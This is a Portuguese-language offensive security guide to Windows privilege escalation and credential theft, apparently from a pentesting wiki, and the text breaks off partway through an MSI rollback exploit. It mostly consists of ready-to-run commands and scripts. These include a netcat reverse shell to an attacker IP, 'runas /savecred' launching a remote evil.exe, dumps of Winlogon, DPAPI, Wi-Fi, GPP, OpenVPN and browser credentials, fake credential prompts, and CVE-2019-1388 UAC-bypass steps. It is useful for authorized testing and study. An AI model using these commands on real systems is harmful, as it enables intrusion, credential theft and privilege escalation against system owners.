wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Para iniciar facilmente o bash como root, você pode tentar --default-user root

Você pode explorar o sistema de arquivos WSL na pasta C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credenciais do Windows

Credenciais do Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Gerenciador de credenciais / Windows Vault

Retirado de https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
O Windows Vault armazena credenciais de usuário para servidores, websites e outros programas que o Windows pode autenticar os usuários automaticamente. A princípio, isso pode parecer que os usuários podem armazenar suas credenciais do Facebook, Twitter, Gmail etc., para que façam login automaticamente pelos navegadores. Mas não é assim.

Windows Vault armazena credenciais que o Windows pode autenticar automaticamente, o que significa que qualquer aplicativo Windows que precise de credenciais para acessar um recurso (servidor ou um website) pode fazer uso deste Credential Manager e do Windows Vault e usar as credenciais fornecidas em vez de os usuários digitarem o nome de usuário e a senha o tempo todo.

A menos que as aplicações interajam com o Credential Manager, eu não acredito que seja possível para elas usarem as credenciais para um dado recurso. Então, se sua aplicação quer usar o vault, ela deve de alguma forma comunicar-se com o Credential Manager e solicitar as credenciais para esse recurso do vault de armazenamento padrão.

Use o cmdkey para listar as credenciais armazenadas na máquina.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Então você pode usar runas com a opção /savecred para utilizar as credenciais salvas. O exemplo a seguir executa um binary remoto por meio de um compartilhamento SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Usando runas com um conjunto de credenciais fornecido.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Note that mimikatz, lazagne, credentialfileview, VaultPasswordView, or from Empire Powershells module.

DPAPI

The Data Protection API (DPAPI) provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy.

DPAPI enables the encryption of keys through a symmetric key that is derived from the user’s login secrets. In scenarios involving system encryption, it utilizes the system’s domain authentication secrets.

Encrypted user RSA keys, by using DPAPI, are stored in the %APPDATA%\Microsoft\Protect\{SID} directory, where {SID} represents the user’s Security Identifier. The DPAPI key, co-located with the master key that safeguards the user’s private keys in the same file, typically consists of 64 bytes of random data. (It’s important to note that access to this directory is restricted, preventing listing its contents via the dir command in CMD, though it can be listed through PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Você pode usar mimikatz module dpapi::masterkey com os argumentos apropriados (/pvk ou /rpc) para descriptografá-lo.

Os credentials files protected by the master password geralmente estão localizados em:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Você pode usar mimikatz module dpapi::cred com o /masterkey apropriado para descriptografar.
Você pode extrair muitas DPAPI masterkeys da memória com o módulo sekurlsa::dpapi (se você for root).

DPAPI - Extracting Passwords

Credenciais do PowerShell

Credenciais do PowerShell são frequentemente usadas para scripting e tarefas de automação como uma forma conveniente de armazenar credenciais criptografadas. As credenciais são protegidas usando DPAPI, o que normalmente significa que só podem ser descriptografadas pelo mesmo usuário no mesmo computador em que foram criadas.

Para descriptografar uma credencial PS a partir do arquivo que a contém você pode fazer:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wi-Fi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Conexões RDP Salvas

Você pode encontrá-las em HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
e em HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandos Executados Recentemente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Gerenciador de Credenciais da Área de Trabalho Remota

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use o Mimikatz dpapi::rdg módulo com o /masterkey apropriado para descriptografar quaisquer arquivos .rdg
Você pode extrair muitas DPAPI masterkeys da memória com o módulo Mimikatz sekurlsa::dpapi

Sticky Notes

Pessoas frequentemente usam o app StickyNotes em estações de trabalho Windows para salvar senhas e outras informações, sem perceber que é um arquivo de banco de dados. Este arquivo está localizado em C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite e sempre vale a pena procurá-lo e examiná-lo.

AppCmd.exe

Observe que para recuperar senhas do AppCmd.exe você precisa ser Administrator e executar em um nível High Integrity.
AppCmd.exe está localizado no diretório %systemroot%\system32\inetsrv\.\
Se esse arquivo existir, é possível que algumas credentials tenham sido configuradas e possam ser recuperadas.

Este código foi extraído de PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Verifique se C:\Windows\CCM\SCClient.exe existe .
Instaladores são executados com privilégios SYSTEM, muitos são vulneráveis a DLL Sideloading (Informação de https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Arquivos e Registro (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Chaves SSH do Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Chaves SSH no registro

Chaves privadas SSH podem ser armazenadas na chave do registro HKCU\Software\OpenSSH\Agent\Keys, portanto você deve verificar se há algo interessante nessa chave:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Se você encontrar qualquer entrada dentro desse caminho, provavelmente será uma SSH key salva. Ela está armazenada criptografada, mas pode ser facilmente descriptografada usando https://github.com/ropnop/windows_sshagent_extract.
Mais informações sobre essa técnica aqui: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Se o serviço ssh-agent não estiver em execução e você quiser que ele seja iniciado automaticamente na inicialização, execute:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Parece que essa técnica não é mais válida. Tentei criar algumas chaves ssh, adicioná-las com ssh-add e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de dpapi.dll durante a autenticação com chave assimétrica.

Arquivos desatendidos

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Você também pode procurar esses arquivos usando metasploit: post/windows/gather/enum_unattend

Conteúdo de exemplo:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Cópias de segurança do SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenciais de Nuvem

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Procure um arquivo chamado SiteList.xml

Senha em cache do GPP

Uma funcionalidade estava disponível anteriormente que permitia a implantação de contas de administrador local personalizadas em um conjunto de máquinas via Group Policy Preferences (GPP). No entanto, esse método apresentava falhas de segurança significativas. Primeiro, os Group Policy Objects (GPOs), armazenados como arquivos XML em SYSVOL, podiam ser acessados por qualquer usuário do domínio. Segundo, as senhas dentro desses GPPs, criptografadas com AES256 usando uma chave padrão publicamente documentada, podiam ser descriptografadas por qualquer usuário autenticado. Isso representava um risco sério, pois poderia permitir que usuários obtivessem privilégios elevados.

Para mitigar esse risco, foi desenvolvida uma função para escanear arquivos GPP em cache local que contenham um campo “cpassword” que não esteja vazio. Ao encontrar tal arquivo, a função descriptografa a senha e retorna um objeto PowerShell personalizado. Esse objeto inclui detalhes sobre o GPP e a localização do arquivo, auxiliando na identificação e remediação dessa vulnerabilidade de segurança.

Procure em C:\ProgramData\Microsoft\Group Policy\history ou em C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (anterior ao Windows Vista) por estes arquivos:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Para descriptografar o cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Usando crackmapexec para obter as passwords:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

Configuração Web do IIS

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Exemplo de web.config com credenciais:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Credenciais OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logs

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Pedir credentials

Você sempre pode pedir ao usuário para inserir suas credentials ou mesmo as credentials de um usuário diferente se achar que ele pode conhecê-las (repare que pedir diretamente ao cliente pelas credentials é realmente arriscado):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Possíveis nomes de arquivo que contenham credenciais

Arquivos conhecidos que, há algum tempo, continham senhas em texto simples ou Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Pesquisar todos os arquivos propostos:

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credenciais na Lixeira

Você também deve verificar a Lixeira para procurar credenciais dentro dela

Para recuperar senhas salvas por vários programas você pode usar: http://www.nirsoft.net/password_recovery_tools.html

Dentro do registro

Outras possíveis chaves do registro com credenciais

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extrair chaves openssh do registro.

Histórico dos Navegadores

Você deve verificar por dbs onde senhas do Chrome ou Firefox são armazenadas.
Também verifique o histórico, marcadores e favoritos dos navegadores, pois talvez algumas senhas estejam armazenadas lá.

Ferramentas para extrair senhas dos navegadores:

COM DLL Overwriting

Component Object Model (COM) é uma tecnologia incorporada no sistema operacional Windows que permite a intercomunicação entre componentes de software de diferentes linguagens. Cada componente COM é identificado via class ID (CLSID) e cada componente expõe funcionalidade via uma ou mais interfaces, identificadas via interface IDs (IIDs).

As classes e interfaces COM são definidas no registro sob HKEY\CLASSES\ROOT\CLSID e HKEY\CLASSES\ROOT\Interface respectivamente. Esse registro é criado pela fusão de HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

Basicamente, se você conseguir sobrescrever qualquer uma das DLLs que serão executadas, você poderia escalar privilégios se essa DLL for executada por um usuário diferente.

Para aprender como atacantes usam COM Hijacking como mecanismo de persistência, veja:

COM Hijacking

Pesquisa genérica de senhas em arquivos e registro

Pesquisar por conteúdo de arquivos

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Pesquisar por um arquivo com um nome específico

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Pesquisar no registro por nomes de chaves e senhas

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Ferramentas que procuram senhas

MSF-Credentials Plugin é um plugin do msf que criei para automatically execute every metasploit POST module that searches for credentials na vítima.
Winpeas procura automaticamente por todos os arquivos contendo senhas mencionadas nesta página.
Lazagne é outra ótima ferramenta para extrair senhas de um sistema.

A ferramenta SessionGopher procura por sessions, usernames e passwords de várias ferramentas que salvam esses dados em clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY e RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine que um processo em execução como SYSTEM abre um novo processo (OpenProcess()) com full access. O mesmo processo também cria um novo processo (CreateProcess()) com low privileges mas herdando todos os open handles do processo principal.
Então, se você tiver full access ao processo com low privileges, você pode capturar o open handle para o processo privilegiado criado com OpenProcess() e injetar um shellcode.
Leia este exemplo para mais informações sobre como detectar e explorar essa vulnerabilidade.
Leia este outro post para uma explicação mais completa sobre como testar e abusar de mais open handlers de processos e threads herdados com diferentes níveis de permissões (não apenas full access).

Named Pipe Client Impersonation

Segmentos de memória compartilhada, conhecidos como pipes, permitem comunicação entre processos e transferência de dados.

Windows fornece um recurso chamado Named Pipes, permitindo que processos não relacionados compartilhem dados, até mesmo através de redes diferentes. Isso se assemelha a uma arquitetura cliente/servidor, com papéis definidos como named pipe server e named pipe client.

Quando dados são enviados por um client através de um pipe, o server que configurou o pipe tem a capacidade de assumir a identidade do client, desde que possua os direitos necessários SeImpersonate. Identificar um processo privilegiado que se comunica por um pipe que você pode mimetizar oferece a oportunidade de obter privilégios mais altos ao adotar a identidade desse processo quando ele interagir com o pipe que você estabeleceu. Para instruções sobre como executar esse ataque, guias úteis podem ser encontrados aqui e aqui.

Além disso, a seguinte ferramenta permite interceptar uma comunicação de named pipe com uma ferramenta como o burp: https://github.com/gabriel-sztejnworcel/pipe-intercept e esta ferramenta permite listar e ver todos os pipes para encontrar privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

O serviço Telephony (TapiSrv) em modo servidor expõe \\pipe\\tapsrv (MS-TRP). Um cliente remoto autenticado pode abusar do caminho de eventos assíncronos baseado em mailslot para transformar ClientAttach em uma escrita arbitrária de 4 bytes em qualquer arquivo existente gravável por NETWORK SERVICE, então obter privilégios de administrador do Telephony e carregar um DLL arbitrário como o serviço. Fluxo completo:

  • ClientAttach com pszDomainUser definido para um caminho existente e gravável → o serviço o abre via CreateFileW(..., OPEN_EXISTING) e o usa para gravações de eventos async.
  • Cada evento grava o InitContext controlado pelo atacante, vindo de Initialize, nesse handle. Registre uma line app com LRegisterRequestRecipient (Req_Func 61), dispare TRequestMakeCall (Req_Func 121), recupere via GetAsyncEvents (Req_Func 0), então desregistre/desligue para repetir gravações determinísticas.
  • Adicione-se a [TapiAdministrators] em C:\Windows\TAPI\tsec.ini, reconecte, então chame GetUIDllName com um caminho de DLL arbitrário para executar TSPI_providerUIIdentify como NETWORK SERVICE.

Mais detalhes:

Telephony Tapsrv Arbitrary Dword Write To Rce

Misc

File Extensions that could execute stuff in Windows

Confira a página https://filesec.io/

Protocol handler / ShellExecute abuse via Markdown renderers

Links clicáveis em Markdown encaminhados para ShellExecuteExW podem acionar handlers de URI perigosos (file:, ms-appinstaller: ou qualquer esquema registrado) e executar arquivos controlados pelo atacante como o usuário atual. Veja:

Protocol Handler Shell Execute Abuse

Monitoring Command Lines for passwords

Ao obter um shell como um usuário, pode haver tarefas agendadas ou outros processos sendo executados que passam credenciais na linha de comando. O script abaixo captura as linhas de comando dos processos a cada dois segundos e compara o estado atual com o estado anterior, exibindo quaisquer diferenças.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Roubando senhas de processos

De Low Priv User para NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Se você tiver acesso à interface gráfica (via console ou RDP) e o UAC estiver habilitado, em algumas versões do Microsoft Windows é possível executar um terminal ou qualquer outro processo como “NT\AUTHORITY SYSTEM” a partir de um usuário sem privilégios.

Isso torna possível escalar privilégios e contornar o UAC ao mesmo tempo com a mesma vulnerabilidade. Além disso, não há necessidade de instalar nada e o binário usado durante o processo é assinado e emitido pela Microsoft.

Alguns dos sistemas afetados são os seguintes:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Para explorar esta vulnerabilidade, é necessário executar os seguintes passos:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Leia isto para aprender sobre Níveis de Integridade:

Integrity Levels

Em seguida, leia isto para aprender sobre UAC e UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

A técnica descrita neste blog post com um código de exploit disponível aqui.

O ataque basicamente consiste em abusar do recurso de rollback do Windows Installer para substituir arquivos legítimos por maliciosos durante o processo de desinstalação. Para isso o atacante precisa criar um malicious MSI installer que será usado para sequestrar a pasta C:\Config.Msi, que posteriormente será usada pelo Windows Installer para armazenar arquivos de rollback durante a desinstalação de outros pacotes MSI, onde os arquivos de rollback teriam sido modificados para conter o payload malicioso.

A técnica resumida é a seguinte:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

  • Step 1: Install the MSI

  • Crie um .msi que instale um arquivo inofensivo (por exemplo, dummy.txt) em uma pasta gravável (TARGETDIR).

  • Marque o installer como “UAC Compliant”, para que um usuário não-admin possa executá‑lo.

  • Mantenha um handle aberto para o arquivo após a instalação.

  • Step 2: Begin Uninstall

  • Desinstale o mesmo .msi.

  • O processo de uninstall começa a mover arquivos para C:\Config.Msi e renomeá‑los para arquivos .rbf (backups de rollback).

  • Poll o handle do arquivo aberto usando GetFinalPathNameByHandle para detectar quando o arquivo se torna C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • O .msi inclui uma custom uninstall action (SyncOnRbfWritten) que:

  • Sinaliza quando o .rbf foi escrito.

  • Então espera por outro evento antes de continuar a desinstalação.

  • Step 4: Block Deletion of .rbf

  • Quando sinalizado, abra o arquivo .rbf sem FILE_SHARE_DELETE — isso impede que ele seja deletado.

  • Então sinalize de volta para que o uninstall possa terminar.

  • O Windows Installer falha ao deletar o .rbf, e como não consegue deletar todo o conteúdo, C:\Config.Msi não é removida.

  • Step 5: Manually Delete .rbf

  • Você (atacante) deleta o arquivo .rbf manualmente.

  • Agora C:\Config.Msi está vazia, pronta para ser sequestrada.

Neste ponto, dispare a vulnerabilidade de exclusão arbitrária de pasta em nível SYSTEM para deletar C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recrie a pasta C:\Config.Msi você mesmo.

  • Defina DACLs fracas (por exemplo, Everyone:F), e mantenha um handle aberto com WRITE_DAC.

  • Step 7: Run Another Install

  • Instale o .msi novamente, com:

  • TARGETDIR: Local gravável.

  • ERROROUT: Uma variável que força uma falha.

  • Esta instalação será usada para disparar rollback novamente, que lê .rbs e .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW para monitorar C:\Config.Msi até que um novo .rbs apareça.

  • Capture seu nome de arquivo.

  • Step 9: Sync Before Rollback

  • O .msi contém uma custom install action (SyncBeforeRollback) que:

  • Sinaliza um evento quando o .rbs é criado.

  • Então espera antes de continuar.

  • Step 10: Reapply Weak ACL

  • Após receber o evento \.rbs created:

  • O Windows Installer reaplica ACLs fortes em C:\Config.Msi.

  • Mas, como você ainda tem um handle com WRITE_DAC, você pode reaplicar ACLs fracas novamente.

ACLs são aplicadas somente na abertura do handle, então você ainda pode escrever na pasta.

  • Step 11: Drop Fake .rbs and .rbf

